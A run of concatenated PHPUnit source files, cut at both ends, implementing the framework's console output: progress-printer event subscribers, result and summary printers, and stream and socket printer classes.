for PHPUnit */ final class TestPreparedSubscriber extends Subscriber implements PreparedSubscriber { public function notify(Prepared $event): void { $this->printer()->testPrepared(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\TestRunner\ExecutionStarted; use PHPUnit\Event\TestRunner\ExecutionStartedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestRunnerExecutionStartedSubscriber extends Subscriber implements ExecutionStartedSubscriber { public function notify(ExecutionStarted $event): void { $this->printer()->testRunnerExecutionStarted($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\Test\SkippedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSkippedSubscriber extends Subscriber implements SkippedSubscriber { public function notify(Skipped $event): void { $this->printer()->testSkipped(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\DeprecationTriggered; use PHPUnit\Event\Test\DeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredDeprecationSubscriber extends Subscriber implements DeprecationTriggeredSubscriber { public function notify(DeprecationTriggered $event): void { $this->printer()->testTriggeredDeprecation($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\ErrorTriggered; use PHPUnit\Event\Test\ErrorTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredErrorSubscriber extends Subscriber implements ErrorTriggeredSubscriber { public function notify(ErrorTriggered $event): void { $this->printer()->testTriggeredError($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\NoticeTriggered; use PHPUnit\Event\Test\NoticeTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredNoticeSubscriber extends Subscriber implements NoticeTriggeredSubscriber { public function notify(NoticeTriggered $event): void { $this->printer()->testTriggeredNotice($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\PhpDeprecationTriggered; use PHPUnit\Event\Test\PhpDeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpDeprecationSubscriber extends Subscriber implements PhpDeprecationTriggeredSubscriber { public function notify(PhpDeprecationTriggered $event): void { $this->printer()->testTriggeredPhpDeprecation($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\PhpNoticeTriggered; use PHPUnit\Event\Test\PhpNoticeTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpNoticeSubscriber extends Subscriber implements PhpNoticeTriggeredSubscriber { public function notify(PhpNoticeTriggered $event): void { $this->printer()->testTriggeredPhpNotice($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\PhpWarningTriggered; use PHPUnit\Event\Test\PhpWarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpWarningSubscriber extends Subscriber implements PhpWarningTriggeredSubscriber { public function notify(PhpWarningTriggered $event): void { $this->printer()->testTriggeredPhpWarning($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\PhpunitDeprecationTriggered; use PHPUnit\Event\Test\PhpunitDeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpunitDeprecationSubscriber extends Subscriber implements PhpunitDeprecationTriggeredSubscriber { public function notify(PhpunitDeprecationTriggered $event): void { $this->printer()->testTriggeredPhpunitDeprecation(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\PhpunitWarningTriggered; use PHPUnit\Event\Test\PhpunitWarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpunitWarningSubscriber extends Subscriber implements PhpunitWarningTriggeredSubscriber { public function notify(PhpunitWarningTriggered $event): void { $this->printer()->testTriggeredPhpunitWarning(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default\ProgressPrinter; use PHPUnit\Event\Test\WarningTriggered; use PHPUnit\Event\Test\WarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredWarningSubscriber extends Subscriber implements WarningTriggeredSubscriber { public function notify(WarningTriggered $event): void { $this->printer()->testTriggeredWarning($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default; use const PHP_EOL; use function array_keys; use function array_merge; use function array_reverse; use function array_unique; use function assert; use function count; use function explode; use function ksort; use function range; use function sprintf; use function str_starts_with; use function strlen; use function substr; use function trim; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Code\TestMethod; use PHPUnit\Event\Test\AfterLastTestMethodErrored; use PHPUnit\Event\Test\BeforeFirstTestMethodErrored; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\DeprecationTriggered; use PHPUnit\Event\Test\ErrorTriggered; use PHPUnit\Event\Test\NoticeTriggered; use PHPUnit\Event\Test\PhpDeprecationTriggered; use PHPUnit\Event\Test\PhpNoticeTriggered; use PHPUnit\Event\Test\PhpunitDeprecationTriggered; use PHPUnit\Event\Test\PhpunitErrorTriggered; use PHPUnit\Event\Test\PhpunitWarningTriggered; use PHPUnit\Event\Test\PhpWarningTriggered; use PHPUnit\Event\Test\WarningTriggered; use PHPUnit\TestRunner\TestResult\Issues\Issue; use PHPUnit\TestRunner\TestResult\TestResult; use PHPUnit\TextUI\Output\Printer; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ResultPrinter { private readonly Printer $printer; private readonly bool $displayPhpunitErrors; private readonly bool $displayPhpunitWarnings; private readonly bool $displayTestsWithErrors; private readonly bool $displayTestsWithFailedAssertions; private readonly bool $displayRiskyTests; private readonly bool $displayPhpunitDeprecations; private readonly bool $displayDetailsOnIncompleteTests; private readonly bool $displayDetailsOnSkippedTests; private readonly bool $displayDetailsOnTestsThatTriggerDeprecations; private readonly bool $displayDetailsOnTestsThatTriggerErrors; private readonly bool $displayDetailsOnTestsThatTriggerNotices; private readonly bool $displayDetailsOnTestsThatTriggerWarnings; private readonly bool $displayDefectsInReverseOrder; private bool $listPrinted = false; public function __construct(Printer $printer, bool $displayPhpunitErrors, bool $displayPhpunitWarnings, bool $displayPhpunitDeprecations, bool $displayTestsWithErrors, bool $displayTestsWithFailedAssertions, bool $displayRiskyTests, bool $displayDetailsOnIncompleteTests, bool $displayDetailsOnSkippedTests, bool $displayDetailsOnTestsThatTriggerDeprecations, bool $displayDetailsOnTestsThatTriggerErrors, bool $displayDetailsOnTestsThatTriggerNotices, bool $displayDetailsOnTestsThatTriggerWarnings, bool $displayDefectsInReverseOrder) { $this->printer = $printer; $this->displayPhpunitErrors = $displayPhpunitErrors; $this->displayPhpunitWarnings = $displayPhpunitWarnings; $this->displayPhpunitDeprecations = $displayPhpunitDeprecations; $this->displayTestsWithErrors = $displayTestsWithErrors; $this->displayTestsWithFailedAssertions = $displayTestsWithFailedAssertions; $this->displayRiskyTests = $displayRiskyTests; $this->displayDetailsOnIncompleteTests = $displayDetailsOnIncompleteTests; $this->displayDetailsOnSkippedTests = $displayDetailsOnSkippedTests; $this->displayDetailsOnTestsThatTriggerDeprecations = $displayDetailsOnTestsThatTriggerDeprecations; $this->displayDetailsOnTestsThatTriggerErrors = $displayDetailsOnTestsThatTriggerErrors; $this->displayDetailsOnTestsThatTriggerNotices = $displayDetailsOnTestsThatTriggerNotices; $this->displayDetailsOnTestsThatTriggerWarnings = $displayDetailsOnTestsThatTriggerWarnings; $this->displayDefectsInReverseOrder = $displayDefectsInReverseOrder; } public function print(TestResult $result): void { if ($this->displayPhpunitErrors) { $this->printPhpunitErrors($result); } if ($this->displayPhpunitWarnings) { $this->printTestRunnerWarnings($result); } if ($this->displayPhpunitDeprecations) { $this->printTestRunnerDeprecations($result); } if ($this->displayTestsWithErrors) { $this->printTestsWithErrors($result); } if ($this->displayTestsWithFailedAssertions) { $this->printTestsWithFailedAssertions($result); } if ($this->displayPhpunitWarnings) { $this->printDetailsOnTestsThatTriggeredPhpunitWarnings($result); } if ($this->displayPhpunitDeprecations) { $this->printDetailsOnTestsThatTriggeredPhpunitDeprecations($result); } if ($this->displayRiskyTests) { $this->printRiskyTests($result); } if ($this->displayDetailsOnIncompleteTests) { $this->printIncompleteTests($result); } if ($this->displayDetailsOnSkippedTests) { $this->printSkippedTestSuites($result); $this->printSkippedTests($result); } if ($this->displayDetailsOnTestsThatTriggerErrors) { $this->printIssueList('error', $result->errors()); } if ($this->displayDetailsOnTestsThatTriggerWarnings) { $this->printIssueList('PHP warning', $result->phpWarnings()); $this->printIssueList('warning', $result->warnings()); } if ($this->displayDetailsOnTestsThatTriggerNotices) { $this->printIssueList('PHP notice', $result->phpNotices()); $this->printIssueList('notice', $result->notices()); } if ($this->displayDetailsOnTestsThatTriggerDeprecations) { $this->printIssueList('PHP deprecation', $result->phpDeprecations()); $this->printIssueList('deprecation', $result->deprecations()); } } private function printPhpunitErrors(TestResult $result): void { if (!$result->hasTestTriggeredPhpunitErrorEvents()) { return; } $elements = $this->mapTestsWithIssuesEventsToElements($result->testTriggeredPhpunitErrorEvents()); $this->printListHeaderWithNumber($elements['numberOfTestsWithIssues'], 'PHPUnit error'); $this->printList($elements['elements']); } private function printDetailsOnTestsThatTriggeredPhpunitDeprecations(TestResult $result): void { if (!$result->hasTestTriggeredPhpunitDeprecationEvents()) { return; } $elements = $this->mapTestsWithIssuesEventsToElements($result->testTriggeredPhpunitDeprecationEvents()); $this->printListHeaderWithNumberOfTestsAndNumberOfIssues( $elements['numberOfTestsWithIssues'], $elements['numberOfIssues'], 'PHPUnit deprecation', ); $this->printList($elements['elements']); } private function printTestRunnerWarnings(TestResult $result): void { if (!$result->hasTestRunnerTriggeredWarningEvents()) { return; } $elements = []; $messages = []; foreach ($result->testRunnerTriggeredWarningEvents() as $event) { if (isset($messages[$event->message()])) { continue; } $elements[] = [ 'title' => $event->message(), 'body' => '', ]; $messages[$event->message()] = true; } $this->printListHeaderWithNumber(count($elements), 'PHPUnit test runner warning'); $this->printList($elements); } private function printTestRunnerDeprecations(TestResult $result): void { if (!$result->hasTestRunnerTriggeredDeprecationEvents()) { return; } $elements = []; foreach ($result->testRunnerTriggeredDeprecationEvents() as $event) { $elements[] = [ 'title' => $event->message(), 'body' => '', ]; } $this->printListHeaderWithNumber(count($elements), 'PHPUnit test runner deprecation'); $this->printList($elements); } private function printDetailsOnTestsThatTriggeredPhpunitWarnings(TestResult $result): void { if (!$result->hasTestTriggeredPhpunitWarningEvents()) { return; } $elements = $this->mapTestsWithIssuesEventsToElements($result->testTriggeredPhpunitWarningEvents()); $this->printListHeaderWithNumberOfTestsAndNumberOfIssues( $elements['numberOfTestsWithIssues'], $elements['numberOfIssues'], 'PHPUnit warning', ); $this->printList($elements['elements']); } private function printTestsWithErrors(TestResult $result): void { if (!$result->hasTestErroredEvents()) { return; } $elements = []; foreach ($result->testErroredEvents() as $event) { if ($event instanceof AfterLastTestMethodErrored || $event instanceof BeforeFirstTestMethodErrored) { $title = $event->testClassName(); } else { $title = $this->name($event->test()); } $elements[] = [ 'title' => $title, 'body' => $event->throwable()->asString(), ]; } $this->printListHeaderWithNumber(count($elements), 'error'); $this->printList($elements); } private function printTestsWithFailedAssertions(TestResult $result): void { if (!$result->hasTestFailedEvents()) { return; } $elements = []; foreach ($result->testFailedEvents() as $event) { $body = $event->throwable()->asString(); if (str_starts_with($body, 'AssertionError: ')) { $body = substr($body, strlen('AssertionError: ')); } $elements[] = [ 'title' => $this->name($event->test()), 'body' => $body, ]; } $this->printListHeaderWithNumber(count($elements), 'failure'); $this->printList($elements); } private function printRiskyTests(TestResult $result): void { if (!$result->hasTestConsideredRiskyEvents()) { return; } $elements = $this->mapTestsWithIssuesEventsToElements($result->testConsideredRiskyEvents()); $this->printListHeaderWithNumber($elements['numberOfTestsWithIssues'], 'risky test'); $this->printList($elements['elements']); } private function printIncompleteTests(TestResult $result): void { if (!$result->hasTestMarkedIncompleteEvents()) { return; } $elements = []; foreach ($result->testMarkedIncompleteEvents() as $event) { $elements[] = [ 'title' => $this->name($event->test()), 'body' => $event->throwable()->asString(), ]; } $this->printListHeaderWithNumber(count($elements), 'incomplete test'); $this->printList($elements); } private function printSkippedTestSuites(TestResult $result): void { if (!$result->hasTestSuiteSkippedEvents()) { return; } $elements = []; foreach ($result->testSuiteSkippedEvents() as $event) { $elements[] = [ 'title' => $event->testSuite()->name(), 'body' => $event->message(), ]; } $this->printListHeaderWithNumber(count($elements), 'skipped test suite'); $this->printList($elements); } private function printSkippedTests(TestResult $result): void { if (!$result->hasTestSkippedEvents()) { return; } $elements = []; foreach ($result->testSkippedEvents() as $event) { $elements[] = [ 'title' => $this->name($event->test()), 'body' => $event->message(), ]; } $this->printListHeaderWithNumber(count($elements), 'skipped test'); $this->printList($elements); } /** * @psalm-param non-empty-string $type * @psalm-param list $issues */ private function printIssueList(string $type, array $issues): void { if (empty($issues)) { return; } $numberOfUniqueIssues = count($issues); $triggeringTests = []; foreach ($issues as $issue) { $triggeringTests = array_merge($triggeringTests, array_keys($issue->triggeringTests())); } $numberOfTests = count(array_unique($triggeringTests)); unset($triggeringTests); $this->printListHeader( sprintf( '%d test%s triggered %d %s%s:' . PHP_EOL . PHP_EOL, $numberOfTests, $numberOfTests !== 1 ? 's' : '', $numberOfUniqueIssues, $type, $numberOfUniqueIssues !== 1 ? 's' : '', ), ); $i = 1; foreach ($issues as $issue) { $title = sprintf( '%s:%d', $issue->file(), $issue->line(), ); $body = trim($issue->description()) . PHP_EOL . PHP_EOL . 'Triggered by:'; $triggeringTests = $issue->triggeringTests(); ksort($triggeringTests); foreach ($triggeringTests as $triggeringTest) { $body .= PHP_EOL . PHP_EOL . '* ' . $triggeringTest['test']->id(); if ($triggeringTest['count'] > 1) { $body .= sprintf( ' (%d times)', $triggeringTest['count'], ); } if ($triggeringTest['test']->isTestMethod()) { $body .= PHP_EOL . ' ' . $triggeringTest['test']->file() . ':' . $triggeringTest['test']->line(); } } $this->printIssueListElement($i++, $title, $body); $this->printer->print(PHP_EOL); } } private function printListHeaderWithNumberOfTestsAndNumberOfIssues(int $numberOfTestsWithIssues, int $numberOfIssues, string $type): void { $this->printListHeader( sprintf( "%d test%s triggered %d %s%s:\n\n", $numberOfTestsWithIssues, $numberOfTestsWithIssues !== 1 ? 's' : '', $numberOfIssues, $type, $numberOfIssues !== 1 ? 's' : '', ), ); } private function printListHeaderWithNumber(int $number, string $type): void { $this->printListHeader( sprintf( "There %s %d %s%s:\n\n", ($number === 1) ? 'was' : 'were', $number, $type, ($number === 1) ? '' : 's', ), ); } private function printListHeader(string $header): void { if ($this->listPrinted) { $this->printer->print("--\n\n"); } $this->listPrinted = true; $this->printer->print($header); } /** * @psalm-param list $elements */ private function printList(array $elements): void { $i = 1; if ($this->displayDefectsInReverseOrder) { $elements = array_reverse($elements); } foreach ($elements as $element) { $this->printListElement($i++, $element['title'], $element['body']); } $this->printer->print("\n"); } private function printListElement(int $number, string $title, string $body): void { $body = trim($body); $this->printer->print( sprintf( "%s%d) %s\n%s%s", $number > 1 ? "\n" : '', $number, $title, $body, !empty($body) ? "\n" : '', ), ); } private function printIssueListElement(int $number, string $title, string $body): void { $body = trim($body); $this->printer->print( sprintf( "%d) %s\n%s%s", $number, $title, $body, !empty($body) ? "\n" : '', ), ); } private function name(Test $test): string { if ($test->isTestMethod()) { assert($test instanceof TestMethod); if (!$test->testData()->hasDataFromDataProvider()) { return $test->nameWithClass(); } return $test->className() . '::' . $test->methodName() . $test->testData()->dataFromDataProvider()->dataAsStringForResultOutput(); } return $test->name(); } /** * @psalm-param array> $events * * @psalm-return array{numberOfTestsWithIssues: int, numberOfIssues: int, elements: list} */ private function mapTestsWithIssuesEventsToElements(array $events): array { $elements = []; $issues = 0; foreach ($events as $reasons) { $test = $reasons[0]->test(); $testLocation = $this->testLocation($test); $title = $this->name($test); $body = ''; $first = true; $single = count($reasons) === 1; foreach ($reasons as $reason) { if ($first) { $first = false; } else { $body .= PHP_EOL; } $body .= $this->reasonMessage($reason, $single); $body .= $this->reasonLocation($reason, $single); $issues++; } if (!empty($testLocation)) { $body .= $testLocation; } $elements[] = [ 'title' => $title, 'body' => $body, ]; } return [ 'numberOfTestsWithIssues' => count($events), 'numberOfIssues' => $issues, 'elements' => $elements, ]; } private function testLocation(Test $test): string { if (!$test->isTestMethod()) { return ''; } assert($test instanceof TestMethod); return sprintf( '%s%s:%d%s', PHP_EOL, $test->file(), $test->line(), PHP_EOL, ); } private function reasonMessage(ConsideredRisky|DeprecationTriggered|ErrorTriggered|NoticeTriggered|PhpDeprecationTriggered|PhpNoticeTriggered|PhpunitDeprecationTriggered|PhpunitErrorTriggered|PhpunitWarningTriggered|PhpWarningTriggered|WarningTriggered $reason, bool $single): string { $message = trim($reason->message()); if ($single) { return $message . PHP_EOL; } $lines = explode(PHP_EOL, $message); $buffer = '* ' . $lines[0] . PHP_EOL; if (count($lines) > 1) { foreach (range(1, count($lines) - 1) as $line) { $buffer .= ' ' . $lines[$line] . PHP_EOL; } } return $buffer; } private function reasonLocation(ConsideredRisky|DeprecationTriggered|ErrorTriggered|NoticeTriggered|PhpDeprecationTriggered|PhpNoticeTriggered|PhpunitDeprecationTriggered|PhpunitErrorTriggered|PhpunitWarningTriggered|PhpWarningTriggered|WarningTriggered $reason, bool $single): string { if (!$reason instanceof DeprecationTriggered && !$reason instanceof PhpDeprecationTriggered && !$reason instanceof ErrorTriggered && !$reason instanceof NoticeTriggered && !$reason instanceof PhpNoticeTriggered && !$reason instanceof WarningTriggered && !$reason instanceof PhpWarningTriggered) { return ''; } return sprintf( '%s%s:%d%s', $single ? '' : ' ', $reason->file(), $reason->line(), PHP_EOL, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\Default; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade; use PHPUnit\Event\Test\PrintedUnexpectedOutput; use PHPUnit\Event\Test\PrintedUnexpectedOutputSubscriber; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\TextUI\Output\Printer; final class UnexpectedOutputPrinter implements PrintedUnexpectedOutputSubscriber { private readonly Printer $printer; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function __construct(Printer $printer, Facade $facade) { $this->printer = $printer; $facade->registerSubscriber($this); } public function notify(PrintedUnexpectedOutput $event): void { $this->printer->print($event->output()); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output; use const PHP_EOL; use function assert; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\Logging\TeamCity\TeamCityLogger; use PHPUnit\Logging\TestDox\TestResultCollection; use PHPUnit\Runner\DirectoryDoesNotExistException; use PHPUnit\TestRunner\TestResult\TestResult; use PHPUnit\TextUI\CannotOpenSocketException; use PHPUnit\TextUI\Configuration\Configuration; use PHPUnit\TextUI\InvalidSocketException; use PHPUnit\TextUI\Output\Default\ProgressPrinter\ProgressPrinter as DefaultProgressPrinter; use PHPUnit\TextUI\Output\Default\ResultPrinter as DefaultResultPrinter; use PHPUnit\TextUI\Output\Default\UnexpectedOutputPrinter; use PHPUnit\TextUI\Output\TestDox\ResultPrinter as TestDoxResultPrinter; use SebastianBergmann\Timer\Duration; use SebastianBergmann\Timer\ResourceUsageFormatter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Facade { private static ?Printer $printer = null; private static ?DefaultResultPrinter $defaultResultPrinter = null; private static ?TestDoxResultPrinter $testDoxResultPrinter = null; private static ?SummaryPrinter $summaryPrinter = null; private static bool $defaultProgressPrinter = false; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public static function init(Configuration $configuration, bool $extensionReplacesProgressOutput, bool $extensionReplacesResultOutput): Printer { self::createPrinter($configuration); assert(self::$printer !== null); if ($configuration->debug()) { return self::$printer; } self::createUnexpectedOutputPrinter(); if (!$extensionReplacesProgressOutput) { self::createProgressPrinter($configuration); } if (!$extensionReplacesResultOutput) { self::createResultPrinter($configuration); self::createSummaryPrinter($configuration); } if ($configuration->outputIsTeamCity()) { new TeamCityLogger( DefaultPrinter::standardOutput(), EventFacade::instance(), ); } return self::$printer; } /** * @psalm-param ?array $testDoxResult */ public static function printResult(TestResult $result, ?array $testDoxResult, Duration $duration): void { assert(self::$printer !== null); if ($result->numberOfTestsRun() > 0) { if (self::$defaultProgressPrinter) { self::$printer->print(PHP_EOL . PHP_EOL); } self::$printer->print((new ResourceUsageFormatter)->resourceUsage($duration) . PHP_EOL . PHP_EOL); } if (self::$testDoxResultPrinter !== null && $testDoxResult !== null) { self::$testDoxResultPrinter->print($testDoxResult); } if (self::$defaultResultPrinter !== null) { self::$defaultResultPrinter->print($result); } if (self::$summaryPrinter !== null) { self::$summaryPrinter->print($result); } } /** * @throws CannotOpenSocketException * @throws DirectoryDoesNotExistException * @throws InvalidSocketException */ public static function printerFor(string $target): Printer { if ($target === 'php://stdout') { if (!self::$printer instanceof NullPrinter) { return self::$printer; } return DefaultPrinter::standardOutput(); } return DefaultPrinter::from($target); } private static function createPrinter(Configuration $configuration): void { $printerNeeded = false; if ($configuration->debug()) { $printerNeeded = true; } if ($configuration->outputIsTeamCity()) { $printerNeeded = true; } if ($configuration->outputIsTestDox()) { $printerNeeded = true; } if (!$configuration->noOutput() && !$configuration->noProgress()) { $printerNeeded = true; } if (!$configuration->noOutput() && !$configuration->noResults()) { $printerNeeded = true; } if ($printerNeeded) { if ($configuration->outputToStandardErrorStream()) { self::$printer = DefaultPrinter::standardError(); return; } self::$printer = DefaultPrinter::standardOutput(); return; } self::$printer = new NullPrinter; } private static function createProgressPrinter(Configuration $configuration): void { assert(self::$printer !== null); if (!self::useDefaultProgressPrinter($configuration)) { return; } new DefaultProgressPrinter( self::$printer, EventFacade::instance(), $configuration->colors(), $configuration->columns(), $configuration->source(), ); self::$defaultProgressPrinter = true; } private static function useDefaultProgressPrinter(Configuration $configuration): bool { if ($configuration->noOutput()) { return false; } if ($configuration->noProgress()) { return false; } if ($configuration->outputIsTeamCity()) { return false; } return true; } private static function createResultPrinter(Configuration $configuration): void { assert(self::$printer !== null); if ($configuration->outputIsTestDox()) { self::$defaultResultPrinter = new DefaultResultPrinter( self::$printer, true, true, $configuration->displayDetailsOnPhpunitDeprecations() || $configuration->displayDetailsOnAllIssues(), false, false, true, false, false, $configuration->displayDetailsOnTestsThatTriggerDeprecations() || $configuration->displayDetailsOnAllIssues(), $configuration->displayDetailsOnTestsThatTriggerErrors() || $configuration->displayDetailsOnAllIssues(), $configuration->displayDetailsOnTestsThatTriggerNotices() || $configuration->displayDetailsOnAllIssues(), $configuration->displayDetailsOnTestsThatTriggerWarnings() || $configuration->displayDetailsOnAllIssues(), $configuration->reverseDefectList(), ); } if ($configuration->outputIsTestDox()) { self::$testDoxResultPrinter = new TestDoxResultPrinter( self::$printer, $configuration->colors(), ); } if ($configuration->noOutput() || $configuration->noResults()) { return; } if (self::$defaultResultPrinter !== null) { return; } self::$defaultResultPrinter = new DefaultResultPrinter( self::$printer, true, true, $configuration->displayDetailsOnPhpunitDeprecations() || $configuration->displayDetailsOnAllIssues(), true, true, true, $configuration->displayDetailsOnIncompleteTests() || $configuration->displayDetailsOnAllIssues(), $configuration->displayDetailsOnSkippedTests() || $configuration->displayDetailsOnAllIssues(), $configuration->displayDetailsOnTestsThatTriggerDeprecations() || $configuration->displayDetailsOnAllIssues(), $configuration->displayDetailsOnTestsThatTriggerErrors() || $configuration->displayDetailsOnAllIssues(), $configuration->displayDetailsOnTestsThatTriggerNotices() || $configuration->displayDetailsOnAllIssues(), $configuration->displayDetailsOnTestsThatTriggerWarnings() || $configuration->displayDetailsOnAllIssues(), $configuration->reverseDefectList(), ); } private static function createSummaryPrinter(Configuration $configuration): void { assert(self::$printer !== null); if (($configuration->noOutput() || $configuration->noResults()) && !($configuration->outputIsTeamCity() || $configuration->outputIsTestDox())) { return; } self::$summaryPrinter = new SummaryPrinter( self::$printer, $configuration->colors(), ); } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private static function createUnexpectedOutputPrinter(): void { assert(self::$printer !== null); new UnexpectedOutputPrinter(self::$printer, EventFacade::instance()); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output; use function assert; use function count; use function dirname; use function explode; use function fclose; use function fopen; use function fsockopen; use function fwrite; use function str_replace; use function str_starts_with; use PHPUnit\Runner\DirectoryDoesNotExistException; use PHPUnit\TextUI\CannotOpenSocketException; use PHPUnit\TextUI\InvalidSocketException; use PHPUnit\Util\Filesystem; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DefaultPrinter implements Printer { /** * @psalm-var closed-resource|resource */ private $stream; private readonly bool $isPhpStream; private bool $isOpen; /** * @throws CannotOpenSocketException * @throws DirectoryDoesNotExistException * @throws InvalidSocketException */ public static function from(string $out): self { return new self($out); } /** * @throws CannotOpenSocketException * @throws DirectoryDoesNotExistException * @throws InvalidSocketException */ public static function standardOutput(): self { return new self('php://stdout'); } /** * @throws CannotOpenSocketException * @throws DirectoryDoesNotExistException * @throws InvalidSocketException */ public static function standardError(): self { return new self('php://stderr'); } /** * @throws CannotOpenSocketException * @throws DirectoryDoesNotExistException * @throws InvalidSocketException */ private function __construct(string $out) { $this->isPhpStream = str_starts_with($out, 'php://'); if (str_starts_with($out, 'socket://')) { $tmp = explode(':', str_replace('socket://', '', $out)); if (count($tmp) !== 2) { throw new InvalidSocketException($out); } $stream = @fsockopen($tmp[0], (int) $tmp[1]); if ($stream === false) { throw new CannotOpenSocketException($tmp[0], (int) $tmp[1]); } $this->stream = $stream; $this->isOpen = true; return; } if (!$this->isPhpStream && !Filesystem::createDirectory(dirname($out))) { throw new DirectoryDoesNotExistException(dirname($out)); } $this->stream = fopen($out, 'wb'); $this->isOpen = true; } public function print(string $buffer): void { assert($this->isOpen); fwrite($this->stream, $buffer); } public function flush(): void { if ($this->isOpen && $this->isPhpStream) { fclose($this->stream); $this->isOpen = false; } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NullPrinter implements Printer { public function print(string $buffer): void { } public function flush(): void { } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface Printer { public function print(string $buffer): void; public function flush(): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output; use const PHP_EOL; use function sprintf; use PHPUnit\TestRunner\TestResult\TestResult; use PHPUnit\Util\Color; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SummaryPrinter { private readonly Printer $printer; private readonly bool $colors; private bool $countPrinted = false; public function __construct(Printer $printer, bool $colors) { $this->printer = $printer; $this->colors = $colors; } public function print(TestResult $result): void { if ($result->numberOfTestsRun() === 0) { $this->printWithColor( 'fg-black, bg-yellow', 'No tests executed!', ); return; } if ($result->wasSuccessful() && !$result->hasIssues() && !$result->hasTestSuiteSkippedEvents() && !$result->hasTestSkippedEvents()) { $this->printWithColor( 'fg-black, 